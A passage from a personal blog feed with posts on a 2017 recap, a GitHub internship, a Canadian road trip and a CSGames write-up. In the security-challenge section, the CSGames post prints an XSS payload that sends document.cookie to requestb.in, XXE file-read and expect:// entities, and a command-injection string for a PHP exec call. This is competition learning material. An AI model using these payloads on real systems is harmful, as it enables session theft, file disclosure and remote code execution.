marks definitely took a hit but I’d say that it was a fair trade off for the amount of knowledge I got from attending all of these conferences.</p><p>Hands down my favourite conference was <a href="https://hackfest.ca/">hackfest</a> in Quebec City. At hackfest there was a social engineering CTF which required participants to social engineer companies to get specific information (NOTE all information was not recorded, and the companies were notified). I was truly amazed at how easy it was to get information just by posing as someone you’re not. I also managed to come 2nd place (out of 100) in the CMD’n’CTRL CTF run by Security Innovations at Hackfest! I also had a go at some more physical security challenges such as Wireless hacking, RFID hacking, door shimming, breaking out of handcuffs, laptop lockpicking and much more!</p><p>Next on the list of exciting conferences was <a href="https://g33kw33k.ca/en/index.html">G33kW33k</a> where I spent and intense 9 days working with many security experts from around the world to try and detect and stop malware earlier. This conference was more of a hackathon style event where we worked in teams to develop a security related project. This was my first time really working with Python and I must say the language is really slick. Its perfect for any hackathon since it’s easy to read yet can it can do so much! If you’re a student interested in security I’d highly recommend checking G33kW33k out! G33kW33k also had a CTF on the first night which I managed to come second place in!</p><p>The last conference I want to talk about is SecTor. This year uOttawa funded Abdul and I to attend Security Education Conference Toronto (SecTor) to go and learn about the latest cyber security threats. We’re working with Prof. Knox to develop a secure software design course at the university. While I enjoyed sector I found the talks to be too high level – I felt like it was more business&#x2F;cooperate oriented unlike the other conferences I had attended. Thankfully through all of the events I attended I feel like I have plenty of information to pass on to Prof. Knox to make a kickass design of secure software course for future CS students.</p><p>I really wanted to share my passions for whitehat hacking with the other students of uOttawa. So back in November Abdul and I ran an <a href="https://scoreboard.ctf-game.xyz/">entry level CTF</a> for other students to have a go at practicing hacking. We had about 30 people show up and attempt to break my challenges with a few solving almost every challenge – congrats to hack.carleton for their first place win! The source to the challenges along with the solutions can be found on my <a href="https://github.com/fletchto99/uOttawa-CySCOTT-Quals-2017">GitHub</a> – no peeking until you attempt the challenges. :)</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/december/2017-recap/4.jpg" title="2nd Place at Hackfest CMD n CTRL!" data-caption="2nd Place at Hackfest CMD n CTRL!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/december/2017-recap/4.jpg" alt="2nd Place at Hackfest CMD n CTRL!"></a><span class="caption">2nd Place at Hackfest CMD n CTRL!</span></div><div style="clear:both;"></div><h2 id="Personal-Life"><a href="#Personal-Life" class="headerlink" title="Personal Life"></a>Personal Life</h2><p>These past few months have been jam packed with school and other events but somehow I still managed to find a bit of free time. I recently picked up PUBG and have really been enjoying the game. Over the past 2 months I’ve put a solid 200 hours into the game. If you’re thinking of picking up the game its ridiculously buggy and requires stupid specs to run at any decent framerate but also totally worth it imo. Getting your first winner winner chicken dinner is a pretty good feeling haha!</p><p>This past November I participated in Movember again. Movember is something close to me, I’ve been participating since 1st year uni. My uncle recently passed away from cancer so I dedicated this year’s Movember campaign to him and I must say we did an amazing job! The community came together to help me raise over $1250 to donate towards cancer research and men’s health – I couldn’t be more proud of everyone for helping me reach my goal! Other than those two things my personal life really has just been working towards my career and school goals. I think you could say that 2017 has been a real…</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/december/2017-recap/5.jpg" title="Winner Winner Chicken Dinner!" data-caption="Winner Winner Chicken Dinner!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/december/2017-recap/5.jpg" alt="Winner Winner Chicken Dinner!"></a><span class="caption">Winner Winner Chicken Dinner!</span></div><div style="clear:both;"></div><h2 id="New-Year’s-Resolutions"><a href="#New-Year’s-Resolutions" class="headerlink" title="New Year’s Resolutions"></a>New Year’s Resolutions</h2><p>Starting in 2018 I’m hoping to blog more often with more technical blog posts. I’ve been doing quite a bit with my raspberry pi behind the scenes here and I want to share some of that knowledge with y’all. I have a backlog of ideas for technical posts that I just need to take the time to write up. I’m hoping that this year I’ll have some time to start writing posts on a more regular basis, maybe once a week?</p><p>Another, more ambitious goal, is to become more active and slightly healthier. I’m hoping to change that a bit in 2018, not necessarily by going to the gym but rather by walking more or skating on the canal. Furthermore I’m hoping to start to follow a more regular sleep &amp; meal schedule – I think both of those would contribute to a much healthier lifestyle. We’ll see how it goes but small steps can make a big difference! Bring it on 2018!</p> <div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/december/2017-recap/6.jpg" title="Happy new year!" data-caption="Happy new year!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/december/2017-recap/6.jpg" alt="Happy new year!"></a><span class="caption">Happy new year!</span></div><div style="clear:both;"></div><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;What a year 2017 has been! I’ve been doing so many awesome adventures I’ve had hardly any time to maintain my blog.&lt;/p&gt;</summary>
    
    
    
    <category term="personal" scheme="https://blog.fletchto99.com/categories/personal/"/>
    
    
    <category term="festivals" scheme="https://blog.fletchto99.com/tags/festivals/"/>
    
    <category term="ctfs" scheme="https://blog.fletchto99.com/tags/ctfs/"/>
    
    <category term="travel" scheme="https://blog.fletchto99.com/tags/travel/"/>
    
  </entry>
  
  <entry>
    <title>I&#39;m in San Francisco?!?!!</title>
    <link href="https://blog.fletchto99.com/2017/july/github/"/>
    <id>https://blog.fletchto99.com/2017/july/github/</id>
    <published>2017-07-21T07:00:00.000Z</published>
    <updated>2022-12-19T05:11:22.310Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/july/github/banner.jpg" alt=""></div><div style="clear:both;"></div><p>A little over a month ago I landed in sunny San Francisco for a summer of adventure as the product security intern at GitHub! The internship is unlike any other job I’ve worked at before, in a good way of course! On our first day all of the interns were greeted with a wonderful crepe breakfast followed by receiving some superb <em>intern exclusive</em> swag! The theme for the internship is Willy Wonka which is spot on since we truly got the golden ticket to an incredible internship. Our internship coordinator, Lisalou, has planned an abundance of activities to guarantee that we, the interns, get to: learn about the company, explore the SF Bay area, meet other talented hubbers, and most importantly have fun!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/july/github/1.jpg" title="Class of 2017 with our awesome internship coordinator, Lisa!" data-caption="Class of 2017 with our awesome internship coordinator, Lisa!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/july/github/1.jpg" alt="Class of 2017 with our awesome internship coordinator, Lisa!"></a><span class="caption">Class of 2017 with our awesome internship coordinator, Lisa!</span></div><div style="clear:both;"></div><p>The GitHub HQ is probably one of the coolest buildings I’ve ever worked in! You won’t find cubicles but you can find: a <em>free</em> SWAG shop, open concept work areas, a massage room, a gym, a coffee bar w&#x2F; a local barista, a bar bar <em>(yes you read that correctly)</em>, a sleeping room (with hammocks), a library, a rooftop lounge area and much more! Every Tuesday and Thursday the office provides unique catered lunches with a variety of options. And just in case all of that wasn’t awesome enough then you can also play with one of the many dogs that people bring to the office daily (shout out to scout &amp; marley for coming over to get daily belly rubs in the morning)! There’s so many unique places to work within the office that I sometimes forget I even have a desk.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/july/github/2.jpg" title="Marley comes to greet me almost every day!" data-caption="Marley comes to greet me almost every day!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/july/github/2.jpg" alt="Marley comes to greet me almost every day!"></a><span class="caption">Marley comes to greet me almost every day!</span></div><div style="clear:both;"></div><p>On a typical work day I roll out of bed around 9:30 and take the BART (subway system) followed by the MUNI (busses) to get to work. I live near 16th and mission station and work is near 2nd and Brannan which is about a 25 minute commute one way. Once I get to work I make myself a bagel or bowl of cereal  at the kitchen. After breakfast I typically work at my desk until noon at which point I head downstairs, grab some lunch then and catch a game of pool or ping pong. In the afternoon, depending on my schedule, I like to roam around working in different areas of the office. Just this past week there was a new addition to the building with a massive library that is great if you need somewhere quiet to work. I usually end the day around 6:30-7:00 with a game of pool with some of the other interns. One thing I love about this job is that it isn’t from 9 to 5 but instead I can wake up later and work later which is a huge win because I am definitely not a morning person. This works out well because the majority of my team is remote so we’re mostly all from different timezones.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/july/github/3.jpg" title="Collaboration is key" data-caption="Collaboration is key" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/july/github/3.jpg" alt="Collaboration is key"></a><span class="caption">Collaboration is key</span></div><div style="clear:both;"></div><p>As an intern on the product security team I’m responsible for securing the GitHubs. GitHub maintains its own fork of Git which contains some code to extend the default functionality and my task ths summer is to work on one of these extensions. I’ve mostly been working in C which has been quite an <em>interesting</em> experience since I’m so used to the freedom of using Javascript. Debugging in C is pretty much just replacing <code>*</code> with <code>&amp;</code> or <code>.</code> with <code>-&gt;</code> until it compiles (Note: I’m not a pro… please don’t actually do that to debug, lol). As a prodsec team member I have get the privilege of participating in the bug bounty triage rotation from which I’ve learned GitHub mostly receives invalid&#x2F;low risk reports. Also last week I got to meet the entire app&#x2F;prodsec team in person for the first time at our team mini summit. The team-building activity for our mini summit was blacksmithing at which we all smashed molten hot metal into kickass fire pokers.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/july/github/4.jpg" title="Brian (another security intern) and I with our firepokers" data-caption="Brian (another security intern) and I with our firepokers" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/july/github/4.jpg" alt="Brian (another security intern) and I with our firepokers"></a><span class="caption">Brian (another security intern) and I with our firepokers</span></div><div style="clear:both;"></div><p>On the weekends I’ve been out and aboot exploring the bay area and experiencing the San Francisco culture (which involves eating a sufficient amount of burritos). In the short few weeks I’ve been here I’ve had the opportunity to visit the Golden Gate bridge, get locked up in Alcatraz, experience the SF pride parade, overlook SF from the top of the twin peaks, watch the 4th of July fireworks, meet a few CEOs for large Tech companies and much much more! During the first week some of the box interns, Joseph and I went to check out the computer history museum learning all about what got us to the modern electronics. One of following the weekends Joseph and I went urban geocaching which was a conduit to exploring some of the lesser visited areas in San Francisco. The geocaching had us traveling all over SF from Delores Park to the painted ladies to the castro. Another weekend Joseph, Chris, Kim and I went for a swim at Chrissy fields beach.. so I can officially say I’ve been swimming on the west and east coasts now! I’m excited to see what the next few weekends of adventure will bring!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/july/github/5.jpg" title="Conquering SF one mountain at a time" data-caption="Conquering SF one mountain at a time" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/july/github/5.jpg" alt="Conquering SF one mountain at a time"></a><span class="caption">Conquering SF one mountain at a time</span></div><div style="clear:both;"></div><p>In summary this experience has been awesome so far and I would trade it for anything, check out some of these photos I took:</p><div class="video-container"><iframe src="https://www.youtube.com/embed/d2TPIUPmIZw" frameborder="0" loading="lazy" allowfullscreen></iframe></div><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;A little over a month ago I landed in sunny San Francisco for a summer of adventure as the product security intern at GitHub!&lt;/p&gt;</summary>
    
    
    
    <category term="personal" scheme="https://blog.fletchto99.com/categories/personal/"/>
    
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
    <category term="technical" scheme="https://blog.fletchto99.com/tags/technical/"/>
    
  </entry>
  
  <entry>
    <title>I road tripped across Canada!</title>
    <link href="https://blog.fletchto99.com/2017/june/canada-roadtrip/"/>
    <id>https://blog.fletchto99.com/2017/june/canada-roadtrip/</id>
    <published>2017-06-23T07:00:00.000Z</published>
    <updated>2022-12-19T05:21:00.190Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/banner.png" alt=""></div><div style="clear:both;"></div><p>Over the last month I had the chance to roadtrip out to the west coast of Canada with my friend Jurre! All of my life I have been an online gamer making plenty of new friends through various online communities. 7 years ago I met Jurre through a Minecraft server which I ran. Typically online friendships only really last for the time you’re playing that specific game however this one stuck through many games… Minecraft, Runescape, Rocketleage, Overwatch and many more. Jurre is from the Netherlands and I’m from Canada so our friendship has developed purely through the internet however this winter we planned a cross Canada roadtip. The roadtrip was the first time that Jurre and I met in person even though it didn’t really feel that way! I tracked our trip in an app called <a href="https://www.polarsteps.com/MattLanglois/115994-canada-trip">polarstep</a> which showed our route &amp; some points of interest along the way. I tend to ramble on quite a bit in this post but be sure to check out the collage of photos at the end since a picture is worth a thousand words!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/1.jpg" title="In front of the Parliament Buildings" data-caption="In front of the Parliament Buildings" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/1.jpg" alt="In front of the Parliament Buildings"></a><span class="caption">In front of the Parliament Buildings</span></div><div style="clear:both;"></div><p>Jurre landed in Toronto and spent a few days exploring while adjusting to the 6 hours of jetlag. The day he took the train to Ottawa I was supposed to meet him at the train station but one of the worst possible situations happened when I was heading there… My phone died and the bus I was supposed to take never showed up! Thankfully Jurre was smart enough to wait at the station until the next bus got me there (this was honestly the worst feeling). During our few days in Ottawa I showed him around the parliament buildings, went with him to get his first beavertail and even took him to get his first true Canadian poutine. Just before embarking on our month long adventure I took Jurre to meet my family.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/2.jpg" title="All packed up and ready to go!" data-caption="All packed up and ready to go!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/2.jpg" alt="All packed up and ready to go!"></a><span class="caption">All packed up and ready to go!</span></div><div style="clear:both;"></div><p>The journey through Ontario took us almost 3 days which goes to show how large my province really is. We stopped in sudbury briefly to check out the Big Nickel followed by staying in Sault Ste. Marie for the night. The next day we drove along Lake Superior for many hours stopping to take plenty of photos. Jurre quickly learned that tractor trailer drivers think they own the road: twice we had to literally stop and pull over onto the shoulder because a tractor trailer was passing another vehicle IN OUR LANE! Thankfully we made it to Thunder Bay safely that night and my good friend Terron let us crash at her place! For breakfast we had finn style pancakes with real maple syrup made at Terron’s parents sugar bush in Lanark county! The last big stop for Ontario was on our way out of Thunder Bay when we stopped by Kekabeka Falls Provincial Park to do some hikes and check out the waterfalls.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/3.jpg" title="Kekabeka Falls!" data-caption="Kekabeka Falls!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/3.jpg" alt="Kekabeka Falls!"></a><span class="caption">Kekabeka Falls!</span></div><div style="clear:both;"></div><p>The next week was spent travelling across the flat flat prairies. Manitoba, Saskatechawan and Alberta were all long drives with not much to do other than talk. Jurre attempted to teach me some Dutch but we both quickly realized that wasn’t going to work out well. There was one close call with a deer during our drive to Sasketchewan which set us in high alert mode for the rest of the drive that night. Once we made it to Alberta we stopped at the Royal Tyrell Museum in Drumheller which is the largest dinosaur museum in Canada. Drumheller made me feel like I was in the middle of the desert since we were completely surrounded by sand dunes. From drumheller we drove up to the last big stop before the rockies which was the West Edmonton Mall. I’ve never seen a mall so huge, I mean it was like any other mall only this one had a roller coaster, waterpark and a freaking skating rink in it!?!?</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/4.jpg" title="Drumheller!" data-caption="Drumheller!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/4.jpg" alt="Drumheller!"></a><span class="caption">Drumheller!</span></div><div style="clear:both;"></div><p>From Edmonton we headed towards Jasper and the rocky mountains. This was the first time I’ve ever seen the Canadian rockies in person and they were absolutely stunning. For our first few nights we stayed in an OTentik (a small permanent wooden structure with tent material around it) just outside of the town of Jasper in the heart of the rockies. During our stay in Jasper we went on some hikes in the mountains and the views are just astonishing. One of the days while exploring the town we came across a RV which was shipped to Canada from the Netherlands (we knew this due to the dutch license plates). Funny enough we ran into the folks who owned the RV and Jurre was able to have a conversation in dutch. From Jasper we headed south towards Lake Louise driving along a highway which was covered by an avalanche earlier in the week.</p><p>On our way from Jasper to Lake Louise we stopped to for an adventure on the Columbia glacier. To traverse the glacier we took essentially what was a school bus with 6 monster truck wheels up and down some extremely steep hills. Once at the look out point the guide stated that there was over 200 metres of ice below the spot we were standing! The ice on the glacier was a slight turquoise color and I’m not too sure why that is. From the glacier we went to Lake Louise and stayed in Fairmont Chateau Lake Louise which is the hotel directly on the lake. Unfortunately most of the paths around the lake were closed due to avalanche dangers however the area was quite pretty. The hotel was probably the fanciest hotel I’ve ever stayed in in my life! From lake louise we headed to Banff &amp; Canmore which was one of my favourite stops.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/5.jpg" title="Lake Louise" data-caption="Lake Louise" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/5.jpg" alt="Lake Louise"></a><span class="caption">Lake Louise</span></div><div style="clear:both;"></div><p>Once in Banff Jurre and I went to check out the Cave and Basin National historic site which, if I remember correctly, was the first historic site in Canada. The Cave and Basin had the worst rotten egg smell since it was on the side of Sulphur Mountain. Like its name suggests, the mountain has quite a bit of sulphur which produces a rotten egg smell that is released in the water. The town of Banff was just a touristy city with plenty of small shops so it didn’t really interest Jurre and I that much. We took this as an opportunity to do some shopping for our families however most of our time in this area was actually spent in Canmore.</p><p>During the nights we were staying at a place called the Rockey Mountain Inn located in Canmore which is about 20 minutes away from Banff. The highlight of my trip had to be the Canmore cave tour that we did. This tour was a 4 hour trip traveling 1km into a natural cave system formed on the side of a mountain. During the tour I got to attempt many challenge squeezes some of which I could feel my stomach touching the floor while my but was touching the roof. Its wicked to see how a small crack in the side of the mountain actually goes so deep into the rocks. At the furthest point in the tour we turned off our headlamps and experienced absolute darkness… not a single photon of light could reach where we were standing. Hearing the water drip around us was so calming it almost felt like I was dreaming. The cave tour was one of the last activities we did before moving on towards BC then turning around and heading home.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/6.jpg" title="Caving Tour" data-caption="Caving Tour" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/6.jpg" alt="Caving Tour"></a><span class="caption">Caving Tour</span></div><div style="clear:both;"></div><p>During our stay in Canmore we made a quick day trip over to Radium, British Colombia just to say that we travelled all the way out west. We visited the Radium Hot Springs which take naturally heated water in pump it into a pool. Unfortunately both the Jasper hot springs and the Radium hot springs were commercialized so they were quite busy and the pools themselves were man made. I was hoping it would be literally a naturally formed pool of water which according to some of the locals these do actually exist in the area! On our way back from Radium we drove past two black bears! Both of the bears were quite chill, just eating grass on the side of the road. Jurre and I pulled over to snap a few pics and they didn’t even flinch (we made sure to stay in the car though).</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/7.jpg" title="Mr. Bear" data-caption="Mr. Bear" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/7.jpg" alt="Mr. Bear"></a><span class="caption">Mr. Bear</span></div><div style="clear:both;"></div><p>After BC we had to drive straight home stopping just for the nights and leaving the next morning since Jurre needed to make it back in time for his flight. In Calgray I managed to get caught up with my buddy Austin from Highschool which honestly felt like no time has passed. Thankfully we made it back in time for Jurre to catch his flight back. This trip was an experience of a life time and I would do it again in a heartbeat. The internet is an amazing place which can truly connect people from all over the world turning strangers into great friends. I’m hoping to roadtrip Europe with Jurre next year!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/8.jpg" title="One more red chair photo..." data-caption="One more red chair photo..." data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/june/canada-roadtrip/8.jpg" alt="One more red chair photo..."></a><span class="caption">One more red chair photo...</span></div><div style="clear:both;"></div><p>During our trip we also took some cool timelapse videos, check them out here:</p><div class='spoiler collapsed'>    <div class='spoiler-title'>        Timelapse Videos    </div>    <div class='spoiler-content'>        <div class="video-container"><iframe src="https://www.youtube.com/embed/cSBKs7AkhTI" frameborder="0" loading="lazy" allowfullscreen></iframe></div><div class="video-container"><iframe src="https://www.youtube.com/embed/rydzgUISujQ" frameborder="0" loading="lazy" allowfullscreen></iframe></div><div class="video-container"><iframe src="https://www.youtube.com/embed/9esyxDBnn9s" frameborder="0" loading="lazy" allowfullscreen></iframe></div><div class="video-container"><iframe src="https://www.youtube.com/embed/HVUYYIoETI8" frameborder="0" loading="lazy" allowfullscreen></iframe></div><div class="video-container"><iframe src="https://www.youtube.com/embed/V5xWM-ka7D4" frameborder="0" loading="lazy" allowfullscreen></iframe></div><div class="video-container"><iframe src="https://www.youtube.com/embed/T5l_3T2SEc4" frameborder="0" loading="lazy" allowfullscreen></iframe></div><div class="video-container"><iframe src="https://www.youtube.com/embed/e_GdAhEydFI" frameborder="0" loading="lazy" allowfullscreen></iframe></div>    </div></div><p>** Image Gallery (Panoramas at end) **</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Over the last month I had the chance to roadtrip out to the west coast of Canada with my friend Jurre!&lt;/p&gt;</summary>
    
    
    
    <category term="travel" scheme="https://blog.fletchto99.com/categories/travel/"/>
    
    
    <category term="travel" scheme="https://blog.fletchto99.com/tags/travel/"/>
    
  </entry>
  
  <entry>
    <title>CSGames - uOttawa 2nd place!</title>
    <link href="https://blog.fletchto99.com/2017/april/csgames/"/>
    <id>https://blog.fletchto99.com/2017/april/csgames/</id>
    <published>2017-04-10T07:00:00.000Z</published>
    <updated>2022-12-19T05:18:27.419Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/april/csgames/banner.png" alt=""></div><div style="clear:both;"></div><p>A few weeks ago I got to participate in the 2017 edition of CSGames on the uOttawa Series A team. We managed to place second overall! For those of you who are unfamiliar <a href="http://csgames.org/">CSGames</a> is an annual coding competition which consists of many computer science related challenges. Universities across Canada (and some from the states) are allowed send up to 2 teams of 10 students to compete. The competition takes place over three days in which there are multiple challenges that contribute towards your team’s overall score. Challenges usually consist of 2 team members sharing one computer and working together to come up with a solution. For a full list of the challenges from this year see the <a href="http://2017.csgames.org/#Competitions">2017 CSGames website</a>. Katherine was my partner in crime for the weekend since we both chose to work on the three security related challenges: Reverse Engineering, CSE, and Security.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/april/csgames/1.jpg" title="Most of the participants in CSGames 2017" data-caption="Most of the participants in CSGames 2017" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/april/csgames/1.jpg" alt="Most of the participants in CSGames 2017"></a><span class="caption">Most of the participants in CSGames 2017</span></div><div style="clear:both;"></div><h1 id="Reverse-Challenge-Day-0x1"><a href="#Reverse-Challenge-Day-0x1" class="headerlink" title="Reverse Challenge: Day 0x1"></a>Reverse Challenge: Day 0x1</h1><p>Upon arrival on friday night Katherine and I competed in our first challenge which was Reverse Engineering. The reverse engineering challenge had 3 questions, two which required reversing a binary file and the third was an encryption algorithm to which the key being used was lost. The first binary was a file server where the documentation was lost. The goal was to determine the credentials used and then create a client to interact with the server. While we were unable to create a fully working client we identified the credentials &amp; commands the server accepted. If you attempted to patch the binary it would start printing errors saying “SRC GUARD 2017”.</p><p>Next was the encryption algorithm with the lost key. The key was actually a png file however the algorithm only looked at the first few bytes of the file which actually means it was just constants within the PNG header to encrypt the file thus any PNG image could be used to decrypt it. Katherine and I actually never looked at this one since we were too focused on the other ones, one of my the Seed Round members told me how they solved this challenge afterwords. In hindsight I wish we took some time to look at this since it was easy points instead of just focusing on the other ones which were worth more points.</p><p>Finally the last and hardest question was to patch a password manager to spit out the password being stored. After initial inspection the password seemed to be printed when the manager was running on a specific hostname &amp; after a specific time. We managed to patch the app however it printed out “cheater” since our patch didn’t fully work. Katherine and I ended up placing 9th in this challenge which was to be expected since we didn’t make that much progress.</p><h1 id="CSE-Reverse-challenge-Day-0x2"><a href="#CSE-Reverse-challenge-Day-0x2" class="headerlink" title="CSE Reverse challenge: Day 0x2"></a>CSE Reverse challenge: Day 0x2</h1><p>The next morning Katherine and I had the CSE challenge. The CSE challenge was essentially another reverse engineering challenge, only this time much more complex. For this challenge we were given 3 documents. The first was piece of paper a little larger than the size of a poster containing a bunch of a gates (upon further reading it was the instruction decoder for a custom CPU). The second was a high level diagram of the instruction decoder. Finally the last one was a “top secret” document containing the challenge. To go with all of this we were given an unknown ELF file.</p><p>By connecting the dots from the provided information Katherine and I realized that the elf file, after the 4096 bytes of the elf header, was a bunch of machine code containing instructions for this custom CPU. Our first goal was to create a disassembler to help us understand what was going on in this unknown binary. To build the disassembler we needed to manually trace which bits are active for each instruction in the CPU and then map that to the hex value specified by the machine code. This took much longer than expected however we did get a disassembler working!</p><p>After creating the disassembler it appeared to be crashing at an instruction which was not a part of the CPU instruction decoder spec and unfortunately we couldn’t figure out why this was the case. After the competition was over I asked why and it turns out that the binary was actually storing an encrypted x86 binary within. The goal after a working disassembler was to decrypt the stored x86 binary and figure out what that binary was doing however we didn’t make it that far.</p><p>Katherine and I were extremely happy with our progress in this challenge placing 4th. It was by far my favourite of the three challenges I participated in and I learned the most from it. This challenge (finally!) actually made use of something I learned in school. Analyzing a binary for an unknown architecture was kind of fun because there wasn’t any plug and go solution or any tool that could give us the answer. We were required to do all of the work manually.</p><div class="figure fig-50 left" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/april/csgames/2.jpg" title="CPU instruction decoder poster" data-caption="CPU instruction decoder poster" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/april/csgames/2.jpg" alt="CPU instruction decoder poster"></a><span class="caption">CPU instruction decoder poster</span></div><div class="figure fig-50 right" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/april/csgames/3.jpg" title="Disassembler almost done!" data-caption="Disassembler almost done!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/april/csgames/3.jpg" alt="Disassembler almost done!"></a><span class="caption">Disassembler almost done!</span></div><h1 id="Security-Challenge-Day-0x3"><a href="#Security-Challenge-Day-0x3" class="headerlink" title="Security Challenge: Day 0x3"></a>Security Challenge: Day 0x3</h1><p>The next morning was the <a href="https://github.com/ldionmarcil/CSG2017-security">security challenge</a>, my chance to shine! The premise of this challenge was to find vulnerabilities in a service called “What Time is it as a Service” or wtiiaas for short. I started off with a simple dirb which revealed a directory called <code>/old/</code> which shouldn’t have been publicly accessible. In that directory there was an encrypted passwords file for an employee account along with the weak xor algorithm used. Essentially we just had to apply the xor algorithm on the file again to decrypt it. After that we were able to login to the employee portal. Once logged in there was a messaging system and an admin who would “respond right away” which was a clear indication of XSS. After a simple <code>&lt;img src=x onerror=this.src=&#39;requestb.in/secret?cookie=&#39;+document.cookie /&gt;</code> we were able to dump the admin cookie and steal her session to get the next flag. This was as far as the admin system went so we had to find another target.</p><p>Our next target was the wtiiaas API. The API had 2 models: a free model which enabled the developer to send some XML with a free API key to request the current time and a premium model to request the current time with a specific format, however this required a premium API key. After few minutes it appeared that the free API was vulnerable to two attacks. The first being an XSS attack enabling me to exfiltrate files and the second was a SQL injection in the key parameter. Using the XSS I was able to dump the <code>/etc/passwd</code> file but not the <code>/etc/shadow/</code> file. However I was able to dump the entire API file by file to base64 using a payload similar to <code>&lt;!ENTITY xxe SYSTEM &quot;php://filter/read=convert.base64-encode/resource=/var/www/index.php&quot; &gt;]&gt;</code> and then just following the system paths for the includes within the API.</p><p>The final part challenge was to get remote code execution on the server. My first thought was to just use an xxe to take control of the system via a crafted entity containing <code>[&lt;!ENTITY foo SYSTEM &quot;expect://&lt;command&gt;&quot;&gt;]</code> however after multiple failed attempted I realized that the <code>expect://</code> command was disabled. So my next guess was that it had something to do with the API… and I was right! By dumping the API files earlier I was able to inspect the source and realize that the time was being retrieved using something like <code>exec(&#39;date&#39;)</code> within PHP. However the premium API allowed you to request a specific time format so it looked more like <code>echo &quot;&lt;response&gt;&quot;.exec(&#39;/bin/sh -c \&#39;date +&quot;&#39;.$format.&#39;&quot;\&#39; 2&gt;&amp;1&#39;).&quot;&lt;/response&gt;&quot;;</code>. As you can see the format variable is being used so let’s look at that: <code>$format = xml_attribute($action,&quot;format&quot;);</code>. Thus the format variable is being retrieved directly from the XML, so a payload using the premium API could be crafted to execute arbitrary commands by inserting something like <code>%hh%mm%ss&#39; &amp;&amp; &lt;command&gt;</code> where <command> is the command you wish to run. After injection the API would even be kind enough to return the results to us. Unfortunately I didn’t manage to dump the premium API key I was unable to exploit this vuln. It turns out getting the premium API key was done via a blind SQL injection in the user-agent header since there was a custom logging API which used this field. I never looked at the <code>logging.php</code> file even though I had dumped it…</p><p>Overall Katherine and I placed 6th in this challenge however I was quite disappointed with my performance in the securit challenge. I spent too much time trying to get RCE via <code>expect://</code> only to realize it was disabled. I also missed a simple SQL injection which could have gotten us quite a few more points. On top of that there was a <a href="https://github.com/ldionmarcil/CSG2017-security/blob/master/Security-theoretical-EN.pdf">theoretical component</a> to which I only got 24.5 out of the possible 30 points. I did really poor on the theoretical security portion which is something I will be sure to practice more for next year.</p><h1 id="Results"><a href="#Results" class="headerlink" title="Results"></a>Results</h1><p>What an awesome 